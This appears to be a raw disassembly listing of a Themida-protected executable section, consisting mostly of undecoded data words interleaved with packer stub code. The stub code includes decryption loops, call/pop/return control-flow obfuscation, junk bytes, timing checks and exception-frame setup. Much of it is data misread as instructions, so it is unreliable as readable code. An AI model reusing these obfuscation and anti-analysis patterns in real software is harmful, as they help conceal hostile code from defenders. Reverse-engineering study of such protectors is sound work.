dd 61215B5h, 0BD0C858Dh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 1DD4A7C3h, 0B9BCEDF9h
dd 6050FA95h, 0E9F88B66h, 6, 0CBF4431h, 8961FB37h, 6A2404h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 7F4104C3h, 93FF09CAh, 0FE9h, 3144000h, 1B0B2B5Fh, 92ED1F5Dh
dd 2827FD55h, 303195FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 69FCA4C3h, 0C56BF2F6h
dd 0E1BD8B57h, 8B061231h, 1233759Dh, 6A6106h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0F78069C3h
dd 1185C7F1h, 3061200h, 8B000000h, 1225BD9Dh, 0CBD8306h
dd 615BDh, 56840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0B6CD4FC3h, 45CF6957h
dd 0EDB1BB91h, 9D8B5BA9h, 6122585h, 3EE9h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0F8621A8h, 7FB3DBBFh, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h
db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------
loc_5CC077: ; CODE XREF: Themida_:005CBACCj
; Themida_:005CC08Ej
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5CC077
jmp short loc_5CC0AD
; ---------------------------------------------------------------------------
loc_5CC092: ; CODE XREF: Themida_:005CC0A9j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CC092
jmp short $+2
loc_5CC0AD: ; CODE XREF: Themida_:005CC090j
mov eax, eax
push 0
push edx
call sub_5CC0BA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC0BA proc near ; CODE XREF: Themida_:005CC0B2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5CC0BA endp
; ---------------------------------------------------------------------------
cmpsd
push edx
jo short loc_5CC13F
pop ebp
or ebx, 7F5873Ch
push 0
push eax
call sub_5CC0E0
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC0E0 proc near ; CODE XREF: Themida_:005CC0D8p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5CC0E0 endp
; ---------------------------------------------------------------------------
ja short loc_5CC15F
cmp dword ptr [ebp+6120011h], 3
jnz loc_5CC53F
jg loc_5CC119
call sub_5CC116
fimul word ptr [ecx+2AEFF485h]
inc edi
sal eax, cl
fimul dword ptr [esi]
xlat
; =============== S U B R O U T I N E =======================================
sub_5CC116 proc near ; CODE XREF: Themida_:005CC105p
; FUNCTION CHUNK AT 005CC53F SIZE 00000005 BYTES
mov edi, esi
pop ebx
loc_5CC119: ; CODE XREF: Themida_:005CC0FFj
jmp loc_5CC126
; ---------------------------------------------------------------------------
dw 0AA3Dh
dd 0DCF3D89Ch
; ---------------------------------------------------------------------------
fcmovbe st, st(2)
loc_5CC126: ; CODE XREF: sub_5CC116:loc_5CC119j
cmp dword ptr [ebp+615BD0Ch], 0
jz loc_5CC53F
push 0
push ebp
call sub_5CC13E
and [ebp-3Dh], bl
sub_5CC116 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CC13E proc near ; CODE XREF: sub_5CC116+20p
arg_4 = dword ptr 8
pop ebp
loc_5CC13F: ; CODE XREF: Themida_:005CC0CCj
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5CC13E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0ED62h
dd 1A55BD8Bh, 66F50612h, 0FCB4EB81h
db 0FFh, 0B5h, 0Ch
; ---------------------------------------------------------------------------
loc_5CC15F: ; CODE XREF: Themida_:005CC0F0j
mov ebp, 95FF0615h
sub [eax], esp
adc al, [esi]
push 0
push ebp
call sub_5CC173
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC173 proc near ; CODE XREF: Themida_:005CC16Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5CC173 endp
; ---------------------------------------------------------------------------
db 3
dd 0E563A767h, 7542B4EBh, 0C57BBB66h, 0BD00B58Bh, 6C70615h
dd 10001h, 10E9h, 0A3C62700h, 8487C613h, 0BD10CB5Ch, 9845245Bh
dd 3D8D890Ah, 96061221h, 50DE8B66h, 55006A96h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 9757045Ah
dd 85097D39h, 612150Dh, 1C7D9D8Bh, 0B5FF0612h, 615BD0Ch
dd 0AE852h, 98710000h, 151B896h, 9D519C99h, 11E8h, 687C2E00h
dd 0B045EC6h, 9EB7B242h, 583849E2h, 5F5F27ECh, 0E195FF5Fh
dd 6A06121Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 6614C357h, 6154E381h, 0BD00B58Bh
dd 8E90615h, 47000000h, 7E778AB2h, 8BC79277h, 12303985h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 8D897C1Dh, 6122225h, 2F45BD89h, 86890612h
dd 0C4h, 8BFA8B66h, 122DCD95h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 95B9BCEDh
dd 0F2B5C781h, 0C28333FCh, 0BD895304h, 61211D1h, 2050895Fh
dd 12518D89h, 858D0612h, 615D0EAh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0DAC35040h, 8A40B2F5h, 0B88689FEh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0E80CC355h, 0A26DC649h, 8BE73E0Fh
dd 122DF99Dh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0EE11C355h, 66219D75h
dd 26FFDF81h, 0BD0CB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 70C4F2C3h, 0D595FF33h
dd 6A06122Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 68C9C356h, 0F526096h, 8Ah, 0BB665800h
dd 506117B5h, 6A96F98Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0FF6AC352h, 15BD0CB5h
dd 0FFDE8B06h, 122E2995h, 99BD8B06h, 83061210h, 121189BDh
dd 840F0006h, 4Bh, 5E950F9h, 93000000h, 0D1561823h, 6A243489h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0AD0EC356h, 2132AAB3h, 660E3568h, 8B0FF98Bh
dd 0Bh, 5890Fh, 81660000h, 669B1AC7h, 0FF676BBBh, 15BD0CB5h
dd 0DB816606h, 95FFBF10h, 6122AA5h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 4AC35747h, 843C03C3h, 15BD8BF3h
dd 0FF06121Bh, 15BD0CB5h, 8E0F6006h, 3, 89CF8B66h, 120EC59Dh
dd 95FF6106h, 6121BB1h, 5E8h, 3411DC00h, 0BD8B0551h, 6121759h
dd 41BD835Bh, 206122Ah, 74840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29ED54C3h
dd 8B783B6Dh, 1218A985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 1A17C968h, 25FD9D8Bh
dd 0C60612h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0DA8B663Dh, 43D9D2Bh, 85C70612h
dd 6120301h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5CC527
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC527 proc near ; CODE XREF: Themida_:005CC51Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5CC527 endp
; ---------------------------------------------------------------------------
db 75h
dd 1F40BBFEh
db 96h, 0C5h, 0D4h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CC116
loc_5CC53F: ; CODE XREF: Themida_:005CC0F9j
; sub_5CC116+17j
jmp near ptr dword_5CB414+2F7h
; END OF FUNCTION CHUNK FOR sub_5CC116
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5CC54F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC54F proc near ; CODE XREF: Themida_:005CC547p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5CC54F endp
; ---------------------------------------------------------------------------
pop es
db 67h
mov ebx, 0ACF5F4FBh
jmp short loc_5CC5E5
; ---------------------------------------------------------------------------
dd 0A19589DBh, 8B061202h, 0EF8166C1h, 858D3830h, 6120065h
dd 17599D33h, 0E8500612h, 9, 161C69B2h, 0DDFEBFE6h, 0F98B5095h
dd 4895F5Bh, 6850F24h, 8B000000h, 1232719Dh, 8A006A06h
dd 6A006ADDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 85F6C352h, 97AFC66Bh, 8DE5B181h
dd 170C5F85h, 7DBD0B06h, 8306122Dh, 6A05C0h, 3E852h
db 0
; ---------------------------------------------------------------------------
loc_5CC5E5: ; CODE XREF: Themida_:005CC566j
add [eax], ah
pop edx
retn
; ---------------------------------------------------------------------------
pop edx
mov [esp+4], edx
add dword ptr [esp+4], 18h
inc edx
push edx
retn
; ---------------------------------------------------------------------------
cli
dec eax
clc
sbb dh, [eax+8A1B589h]
adc al, [esi]
mov [ebp+61214FDh], esi
push eax
pusha
jmp loc_5CC616
; ---------------------------------------------------------------------------
db 13h, 1Dh, 2Eh
db 0A3h, 0BBh
; ---------------------------------------------------------------------------
loc_5CC616: ; CODE XREF: Themida_:005CC60Cj
mov ebx, 143D3060h
popa
mov [esp], eax
movzx edi, dx
push 0
push 0
push edx
call sub_5CC62F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC62F proc near ; CODE XREF: Themida_:005CC627p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5CC62F endp
; ---------------------------------------------------------------------------
jmp short near ptr byte_5CC6B1
; ---------------------------------------------------------------------------
db 0F0h, 71h, 0DDh
dd 3D95897Eh, 6A061203h, 5595FF00h, 6606120Bh, 8D8DDA8Bh
dd 6159BCAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0A6C35141h, 0DE8B72ACh, 3704C381h, 0D1FF536Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 13C35040h
dd 81BDA6ADh, 0BD833E9Fh, 6120EE9h, 86850F01h
db 0
byte_5CC6B1 db 2 dup(0), 6Ah ; CODE XREF: Themida_:005CC63Fj
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0D1D9C357h, 0EABFF2E2h, 0A5EC56FDh, 12E8026Ah
dd 0D6000000h, 0AB0AD733h, 1212A11Ah, 0B3DBF365h, 0ACB00618h
dd 0D9BF0FD4h, 5250905Bh, 5F515250h, 870F310Fh, 0
; ---------------------------------------------------------------------------
pop edx
pop eax
pop edi
nop
push 0
push eax
call sub_5CC713
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC713 proc near ; CODE XREF: Themida_:005CC70Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5CC713 endp
; ---------------------------------------------------------------------------
db 26h
; ---------------------------------------------------------------------------
and dh, 0E3h
or al, dl
push 66h
mov edi, ebx
call dword ptr [ebp+6122CD5h]
add [ebp+6121B49h], edi
jmp loc_5CD50B
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 6170C69h
push 0
push ebp
call sub_5CC755
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC755 proc near ; CODE XREF: Themida_:005CC74Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5CC755 endp
; ---------------------------------------------------------------------------
db 1Bh, 66h, 8Bh
; ---------------------------------------------------------------------------
cli
jmp loc_5CC77E
; ---------------------------------------------------------------------------
jnz short loc_5CC778
mov ds:0D4B2211Ch, al
inc byte ptr [ebx+ebp*4]
loc_5CC778: ; CODE XREF: Themida_:005CC76Ej
dec esp
push 1Dh
aas
xchg eax, ecx
pop es
loc_5CC77E: ; CODE XREF: Themida_:005CC769j
lea eax, [ebp+615968Fh]
push 0
push edi
call sub_5CC78F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC78F proc near ; CODE XREF: Themida_:005CC787p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5CC78F endp
; ---------------------------------------------------------------------------
db 0Ah
; ---------------------------------------------------------------------------
lahf
rcl dword ptr [ecx-3F7E99A0h], 98h
cld
jmp loc_5CC7B8
; ---------------------------------------------------------------------------
dw 9804h
dd 0D07FA7B3h, 0EBBDE01Bh
; ---------------------------------------------------------------------------
loc_5CC7B8: ; CODE XREF: Themida_:005CC7A9j
popa
mov di, cx
push eax
mov di, 68A4h
mov [esp], eax
mov edi, [ebp+61223C5h]
push large dword ptr fs:0
push 0
push edx
call sub_5CC7DC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC7DC proc near ; CODE XREF: Themida_:005CC7D4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5CC7DC endp
; ---------------------------------------------------------------------------
dd 74D98E66h, 21F1AAB0h, 1471BD8Bh, 89640612h, 25h, 999D8900h
dd 8906120Ch, 1222FD8Dh, 3585FF06h, 0B061212h, 1229FDBDh
dd 5840F06h, 66000000h, 0EECAD781h, 6AFF6Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 482FA8C3h
dd 0BEA89317h, 0EE8h, 2C5B4500h, 88868286h, 735C8CACh
dd 0F8F0452h, 683h, 0A0EF8100h, 5B58BDF2h, 31F1B5FFh, 0BD8B0612h
dd 6121805h, 147595FFh, 0F7E90612h, 0BF000000h, 70334703h
dd 800F00B0h, 5, 0F6DF8166h, 5BD8945h, 0E6061234h, 14E970h
dd 11620000h, 46F18902h, 8995AE96h, 0EE5DB842h, 0CF11F9A9h
dd 71E4E9FDh, 0F613CF5h, 0B983h, 0FA4B300h, 0EB81C8B6h
dd 3B4D80D2h, 6BAh, 0C18BF800h, 0C1D9BF0Fh, 9E904E8h, 0F6000000h
dd 328D82B7h, 1CA8B19Ah, 89E2F766h, 1207E1B5h, 66C82B06h
dd 1E9DEF81h, 8B66D18Bh, 78E9D9h, 0DE90000h, 0CB000000h
dd 1D41B2DCh, 526A9B44h, 54A652B5h, 858BB8B3h, 44004E49h
dd 0A161BB66h, 8B07C083h, 120865BDh, 0C08306h, 1D459D89h
dd 0D03B0612h, 11830Fh, 3BE90000h, 0F000000h, 680h, 11953100h
dd 8B061220h, 0FFFFFF8Dh, 0FA8B66FFh, 83D9B70Fh, 840F01E1h
dd 1Ah, 0A583DF8Bh, 0FFFFFFFFh, 89DF8BFEh, 4E4995h, 5ABF6644h
dd 0E966h, 0B58D0000h, 61684E9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 3FC35343h, 0EB906041h, 0E761B0F1h
dd 0BD096092h, 6123291h, 0BBB3BA66h, 8B006A61h, 0D98B66DFh
dd 29D195FFh, 0B9FC0612h, 0FEEh, 6BF496BBh, 0FCE18342h
dd 0A59589h, 6AFC0612h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0E961C352h, 8, 412BADB6h
dd 1EA4B554h, 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 0ADA249Ah, 85AA7CD0h
dd 0CE8h, 0B017EF00h, 64A48B17h, 0C06F4194h, 0DBD8B95h
dd 5F061208h, 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0E97309C3h, 0A483ACEDh, 0E8FB8B66h
dd 0Fh, 4F519E44h, 0CF3A850Fh, 6D21718Ch, 89E24CC3h, 1227BD85h
dd 33AD5B06h, 3E8D1C2h, 4E983D0h, 0E780F475h, 50006AE4h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 4BEC5CD7h, 58DBBA33h, 2410BF66h, 0FACF8160h, 350CDDCh
dd 1228C5BDh, 880D6106h, 0BF000000h, 3E183CEAh, 2DCD958Bh
dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0C4AC00C3h, 0FB7BBEFAh, 8E952B4h, 51000000h
dd 815DBD4Ah, 0F20953Fh, 78Ah, 7AB86000h, 617109FDh, 31BD8D8Bh
dd 0E9500612h, 0Fh, 664E82FEh, 0F479A5F1h, 0E7008B23h
dd 5F7E6C4Bh, 1A859D89h, 8B500612h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 8DC35545h, 81503592h, 0FB919AF7h, 0BD835B1Bh
dd 6121419h, 85840F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 171AC350h
dd 0BD8BB335h, 6123419h, 3699D8Bh, 9D8B0612h, 6120F25h
dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 4B8D8DE0h, 6A06124Eh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B7CBC356h
dd 160879C1h, 90CAF4DAh, 9589E1FFh, 6123395h, 11BD83h
dd 0F000612h, 45884h, 11BD8300h, 1061200h, 466840Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 50D833C3h, 11BD83EBh, 3061200h, 404860Fh, 0BB660000h
dd 2960EC70h, 121B9585h, 0D98C6606h, 6604E180h, 0F9D7DF81h
dd 840FC90Ah, 131h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 2C35242h, 0BD3BD05Fh, 0CB816684h, 858B7407h
dd 61224CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 81C35242h, 0E46BD310h, 91E110DFh, 1DF1BD8Bh, 0B70F0612h
dd 8D8533D9h, 81061224h, 5D2E2AE3h, 0E5BB664Bh, 0EE990FBh
dd 0EE000000h, 5325150Dh, 177A3C19h, 0FCFD4895h, 52505030h
dd 8B66310Fh, 90585ADFh, 8B665153h, 6A5F5FDFh, 0E7816600h
dd 0B468F737h, 5386F5EAh, 2404815Fh, 7929194Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C7C35343h, 2ED1B501h
dd 95FF0612h, 6123031h, 19880F50h, 0E9000000h, 14h, 40379BCFh
dd 0EB394D3Bh, 20732C8h, 55E828EFh, 33E0F1BBh, 0C85895Fh
dd 0F0615BDh, 0F83h, 9E800h, 0C1760000h, 124A248Ah, 5B85DBCDh
dd 1FAE9h, 89606000h, 122F198Dh, 61F4B506h, 61D6B70Fh
dd 10E9h, 0B20E8F00h, 0F777494Bh, 498F2C32h, 0DDB15E3h
dd 4858BC0h, 290615BDh, 121A9D85h, 1800C706h, 29000000h
dd 121FD18Dh, 8B58B06h, 6A0615BDh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0AE3FC353h
dd 59767C9Ch, 8BB63A12h, 1215199Dh, 99858B06h, 6A061223h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8941C357h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0B4EA17Eh, 8E74BFBCh
dd 858B16BFh, 61224CDh, 29198589h, 46890612h, 55006A04h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 3D22D845h, 0D9B70F13h, 0FABB6696h, 4ABF50D6h, 964C1774h
dd 10E9h, 0DEE98200h, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 4B5FF84h
dd 6A0615BDh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 7E28C350h, 11633322h, 4E8h, 1F03FF00h
dd 2820F00h, 56000000h, 5250505Fh, 0C145BF66h, 8E8310Fh
dd 54000000h, 1699AB9Fh, 0E9C15FB9h, 10h, 8202E09Ah, 0C0589C2Ah
dd 72797BA4h, 5491DAF5h, 8B585A5Fh, 8A042444h, 8B008BF8h
dd 244489DEh, 0A06EBF04h, 6A587639h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 8AC5C356h
dd 8D031440h, 15BD0C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 6772238Dh, 0F5B2883Ch
dd 10E9h, 45CEF200h, 0B323DC6Ah, 0AFCBA9C0h, 0DED20702h
dd 6651508Eh, 895FDA8Bh, 85892404h, 61217A1h, 303195FFh
dd 81660612h, 619600F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 42C35747h, 0F9C61DFBh, 3AC6D40h, 0D30F781h
dd 858901FAh, 6120B51h, 1185C7h, 30612h, 63BB0000h, 8332CB77h
dd 15BD0CBDh, 840F0006h, 92h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 41C35545h, 8D0EF047h, 3DBE64E6h
dd 5E9h, 3138E00h, 12E8A24Ch, 0F2000000h, 0F0035780h, 0F89DE22Ah
dd 0A5E99B19h, 8AB10CE1h, 59BD8BB4h, 5B06121Ch, 5CE9h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 6CF84A6Ah, 0A464B4F5h, 0DE9942Fh, 2F000000h
dd 27DC4E38h, 0F6247651h, 0A8F66F47h, 5E9h, 0BFD5AD00h
dd 3050F6D7h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 8E0FC0h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4CDCC356h
dd 55A33045h, 0D896F804h, 68E0Fh, 9D890000h, 6122395h
dd 11BD83h, 0F030612h, 3D685h, 45BD8B00h, 8B061228h, 0CBD83F9h
dd 615BDh, 3C1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 9D01E2C3h, 6122D75h
dd 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0B30956C3h, 8A0FA7C6h, 6, 38D9D8Bh
dd 95FF0612h, 6122029h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0A2C35141h, 819D8B53h, 8B061223h, 15BD00B5h
dd 0EE906h, 73FD0000h, 9C5ECE1Dh, 9899854Ch, 427D702Eh
dd 106C7h, 0CE90001h, 3B000000h, 818D6BFAh, 7C516DCFh
dd 50CCC8D5h, 5E8h, 0AC7E0A00h, 5060062Ah, 5A310F52h, 0DA8B6658h
dd 34895F61h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 0F5BD8BDCh, 50061202h, 8C0Fh, 0FF5F0000h
dd 15BD0CB5h, 4ACF8106h, 0FF04D5D9h, 121AE195h, 6860F06h
dd 3000000h, 1219A19Dh, 0B58B06h, 8B0615BDh, 12303985h
dd 0F8BB6606h, 0F19D8988h, 89061219h, 0C486h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0CC519D65h, 86BF577Ah, 5F455898h, 2DCD958Bh, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0A5FED7C3h, 5E596A70h, 4C28335h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 5AC35242h, 52225338h, 11E8h
dd 52C0B600h, 0B14A3D03h, 189F4B78h, 91C00B52h, 0BD230902h
dd 6120799h, 50895B5Bh, 50006A20h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 8BB5A585h, 1F94B02h, 1223B185h
dd 0EA858D06h, 660615D0h, 0F6CBCBBh, 486h, 0E1BF6600h
dd 0B8868963h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0CD99C356h, 66A979D0h
dd 708DC381h, 21619D09h, 6A0612h, 0FFD9BF0Fh, 15BD0CB5h
dd 0ED9D2306h, 0B706122Bh, 0D595FF12h, 2906122Ch, 120459B5h
dd 0E5B39606h, 96D88B50h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 0EBC35040h, 8FEF3FBBh, 0BB66A852h, 0B5FFC7A9h
dd 615BD0Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0A3C35040h, 80046414h, 95FF55F3h, 6122E29h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7EC35545h, 156C83Fh
dd 0EDBB6630h, 89BD8305h, 61211h, 43840Fh, 0EE90000h, 3B000000h
dd 201F7A74h, 41F32BE7h, 63AA4ACCh, 0FB8B503Eh, 6A243489h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 3AB5C356h, 6820F1Fh, 8B000000h, 1211BDBDh
dd 0CB5FF06h, 520615BDh, 0BB5987BBh, 95FF5F35h, 6122AA5h
dd 830Fh, 0B5FF0000h, 615BD0Ch, 29D5BD8Bh, 95FF0612h, 6121BB1h
dd 163D9589h, 0BD830612h, 6122A41h, 57840F02h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0CA5AC350h, 5087D206h, 18A9858Bh, 6A0612h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 716991C3h, 8B2E6874h, 1228D19Dh, 0C606h, 7F5B509h, 85C70612h
dd 6120301h, 0
dd 8166C3B3h, 0E98883D7h, 0FFFFF370h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0E5C35545h, 4479D5EFh, 2E935D47h
dd 5BD8979h, 8B061233h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0EC3E708h, 0E6A55C5Eh
dd 0D9C3818Ch
db 0B7h, 1, 2Ch
; ---------------------------------------------------------------------------
loc_5CD50B: ; CODE XREF: Themida_:005CC739j
lea eax, [ebp+6120065h]
push 0
push ecx
call sub_5CD51C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD51C proc near ; CODE XREF: Themida_:005CD514p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5CD51C endp
; ---------------------------------------------------------------------------
dd 9DBE44AAh, 71AF50FCh, 0CE46BF66h, 7840Fh, 8F0F0000h
dd 1, 8EBF90F9h, 502E60C2h, 6A90FA8Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A8AC357h
dd 0C5BD8900h, 6A061225h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 93FE1D63h
dd 858D3DC1h, 6171C6Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 90C35646h, 0D9A02F70h, 729AFDC6h, 10E858h
dd 304B0000h, 0DC748509h, 0B156B805h, 0C0DF142Ch, 0EF819025h
dd 746A9D53h, 5C0835Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 8FC35242h, 0D5BAED77h, 9D230E66h, 6120B1Dh
dd 24048950h, 19800F60h, 0E9000000h, 14h, 0D7F78271h, 6A70A5FEh
